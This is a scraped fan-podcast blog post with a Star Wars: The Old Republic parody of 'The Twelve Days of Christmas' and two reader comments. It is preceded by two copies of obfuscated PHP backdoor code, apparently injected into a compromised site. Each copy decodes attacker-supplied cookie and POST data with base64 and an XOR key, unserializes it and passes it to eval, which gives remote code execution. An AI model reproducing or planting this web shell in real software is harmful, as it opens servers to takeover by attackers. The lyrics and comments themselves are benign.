$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> 12 Days of Christmas… BioWare Style – Day 10 – Corellian Run Radio
Dec 232011
 

It’s time for Day 10, we hope you enjoy it!   Check back daily for a new day’s release.   Musical talents of Tyler Heikes.   Written by our very own Maer!

  1. On the first day of Christmas, BioWare gave to me the chance to play in Early Access.
  2. On the second day of Christmas, BioWare gave to me two opposing factions and the chance to play in Early Access.
  3. On the third day of Christmas, BioWare gave to me three Advanced Skill trees, two opposing factions and the chance to play in Early Access.
  4. On the fourth day of Christmas, BioWare gave to me four mirrored classes, three Advanced Skill trees, two opposing factions and the chance to play in Early Access.
  5. On the fifth day of Christmas, BioWare gave to me five Com-pan-ions, four mirrored classes, three Advanced skill trees, two opposing factions and the chance to play in Early Access.
  6. On the sixth day of Christmas, BioWare gave to me six light speed starships, five Companions, four mirrored classes, three Advanced skill trees, two opposing factions and the chance to play in Early Access.
  7. On the seventh day of Christmas, BioWare gave to me, seven lighted sabers, six light speed starships, five Companions, four mirrored classes, three Advanced skill trees, two opposing factions and the chance to play in Early Access.
  8. On the eighth day of Christmas, Bioware gave to me eight awesome species, seven lighted sabers, six light speed starships, five Companions, four mirrored classes, three Advanced skill trees, two opposing factions and the chance to play in Early Access.
  9. On the ninth day of Christmas, BioWare gave to me nine indie planets, eight awesome species, seven lighted sabers, six light speed starships, five Companions, four mirrored classes, three Advanced skill trees, two opposing factions and the chance to play in Early Access.
  10. On the tenth day of Christmas, BioWare gave to me ten missions pending, nine indie planets, eight awesome species, seven lighted sabers, six light speed starships, five Companions, four mirrored classes, three Advanced skill trees, two opposing factions and the chance to play in Early Access.

  2 Responses to “12 Days of Christmas… BioWare Style – Day 10”

  1. Hmm. This strikes me as very similar to GamebreakerTV’s TOR and WOW 12 Days of Christmas remix. I assume you haven’t heard it yet as these are very similar to each other. Also, the other one is a tad funnier plus the original.

    Sorry for the luck.

    Still love the show.

  2. We didn’t look to see who was doing what. We just came up with this on our own for our listeners to enjoy. Just something to have fun with. 🙂

    Thank you for continuing to be a valuable listener and your comments!

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